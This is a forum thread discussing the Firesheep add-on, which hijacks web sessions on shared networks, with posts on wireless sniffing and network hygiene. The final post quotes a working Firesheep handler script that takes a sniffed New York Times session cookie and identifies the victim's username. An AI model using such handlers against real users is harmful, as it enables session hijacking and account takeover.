Firefox Add-On Hijacks Wireless Sessions

[Ben]

I'll be interested to see industry reaction to this. Of course it's always been possible, but with the Add-On it appears any idiot with a computer can do it.

Firesheep

[AmbulanceDriver]

Hrm....  That's *very* interesting...

[AZRedhawk44]

Layer 2 wireless sniffing.

This is why switches are better than hubs.  Unless a NIC is in "promiscuous" mode and on the same switch fabric (a VLAN or group of switches behind the same default gateway), you can't sniff packets when you aren't along the intended route (one of the two dozen routers between you and your destination).

When your network access is an omnidirectional radio, you can't "switch" the traffic and hide it.  By default, all NICs on a wireless system are promiscuous.

Hardwire.  And put your wireless access point on a separate subnet (or even NAT-ed, and NAT your hardwire network too).  That way, if you're at home on a perfectly good hardwired connection and someone hacks your WPA/WEP/whatever access point, they can't put their wireless NIC into promiscuous mode and sniff packets on your hardwire LAN.  They'd have to hijack your top level router/switch to sniff packets.

[Ben]

I generally don't use public Wi-Fi to begin with. I use a 3G modem and Kaspersky security suite, and even then though I may check my Amazon account or something, I'm pretty paranoid about stuff like online banking and prefer to be behind my home firewall when accessing that. I won't use the online banking app on my phone either.

[Harold Tuttle]

Firesheep can also poll the traffic on your wired network

it is scriptable for grabbing cookies from a wide swath of the web :


// Authors:
//   Ian Gallagher <crash@neg9.org>
register({
  name: 'New York Times',
  url: 'http://www.nytimes.com/',
  domains: [ 'nytimes.com' ],
  sessionCookieNames: [ 'NYT-S', 'nyt-d' ],

  processPacket: function () {
    var nyt_d = this.firstPacket.cookies['nyt-d'];
    this.sessionId = nyt_d;
  },

  identifyUser: function() {
    var resp = this.httpGet(this.siteUrl);
    this.userName = resp.body.querySelectorAll("#memberTools a")[1].innerHTML;
  }
});